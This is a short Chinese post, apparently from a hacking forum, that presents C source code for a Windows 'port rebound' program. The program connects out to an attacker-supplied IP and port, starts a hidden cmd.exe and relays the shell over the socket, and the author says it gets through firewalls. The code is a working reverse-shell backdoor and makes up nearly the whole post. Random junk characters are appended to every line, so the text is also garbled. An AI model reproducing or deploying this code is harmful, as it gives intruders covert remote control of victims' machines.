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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mrbIoN==`  
:{AN@zC0\  
/* ============================== ]MHQ "E?  
Rebound port in Windows NT $K iMu  
By wind,2006/7 kQb0pfYs  
===============================*/ QxkfP%_g  
#include :C&?(HJ&r  
#include  [:k'VXL  
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#pragma comment(lib,"wsock32.lib") ,S8Vfb &  
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void OutputShell(); 6RF01z|~_  
SOCKET sClient; ENmo^O#,u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W`\H3?C`xQ  
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void main(int argc,char **argv) y jpjJ  
{ G]SE A  
WSADATA stWsaData; 0N}5sF  
int nRet; .dygp"*  
SOCKADDR_IN stSaiClient,stSaiServer; 4a 5n*6G!  
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if(argc != 3) }+B7C2_\  
{ =#u2Rx%V  
printf("Useage:\n\rRebound DestIP DestPort\n"); h1Lp:@:|  
return; \uYUX~}i"  
} >hhd9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); M&K@><6k,k  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IQ_0[  
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stSaiClient.sin_family = AF_INET; P]TT  
stSaiClient.sin_port = htons(0); 01dx}L@hz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EvYw$ j  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =UV?Pi*M>  
{ Za} |Ee  
printf("Bind Socket Failed!\n"); %pt $S~j  
return; izKk@{Md  
} 5A)w.i&V  
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stSaiServer.sin_family = AF_INET; BOWTH{KR<<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r:q#l~;^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8iCI s=06  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) RgO 7> T\  
{ 2 9]8[Z,4  
printf("Connect Error!"); H )}WWXK  
return; bDkE*4SRX  
} 8N`$7^^  
OutputShell(); *"5a5.`%,  
} `%Ghtm*  
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void OutputShell() /;0>*ft4  
{ d{he  
char szBuff[1024]; EH:1Z*|Z{\  
SECURITY_ATTRIBUTES stSecurityAttributes; q^cFD  
OSVERSIONINFO stOsversionInfo; C0W~Tk\C2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v Y\O=TZT  
STARTUPINFO stStartupInfo; DG-vTr  
char *szShell; GKSy|z  
PROCESS_INFORMATION stProcessInformation; Q.XsY.{  
unsigned long lBytesRead; So^`L s;S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vP4Ij  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +,[3a%c)H  
stSecurityAttributes.lpSecurityDescriptor = 0; M~Slc*_%  
stSecurityAttributes.bInheritHandle = TRUE; >(CoXSV5  
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g?VME]:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Psa8OJan  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kziBHis!  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .g#=~{A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Y"r]:5i  
stStartupInfo.wShowWindow = SW_HIDE; -FR;:  
stStartupInfo.hStdInput = hReadPipe; L8zqLD i&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a7|&Tbv  
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GetVersionEx(&stOsversionInfo); <f6PULm  
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switch(stOsversionInfo.dwPlatformId) HH#i.s2  
{ PPPwDsJ  
case 1: /RC!Yi  
szShell = "command.com"; de6dLT>m  
break; 2P ?Iu&  
default: >>cd3)b  
szShell = "cmd.exe"; Bg h$P  
break; rsv!mY,Em  
} r8%,xA&  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lnWi E}F  
{?y7'  
send(sClient,szMsg,77,0); +E~`H^  
while(1) Z ~9N  
{ aTm.10{^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); weV#%6=5\  
if(lBytesRead) cv4M[]U~  
{ 2S6EDXc  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =.oWguzu  
send(sClient,szBuff,lBytesRead,0); f ti|3c  
} 1^#Q/J,  
else t"p#ii a  
{ *`-29eR"8  
lBytesRead=recv(sClient,szBuff,1024,0); zjS:;!8em  
if(lBytesRead<=0) break; F\R}no5C  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cOZ^huK  
} y7-:l u$9  
} J\+gd%  
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return; B9DxV>mr\r  
}
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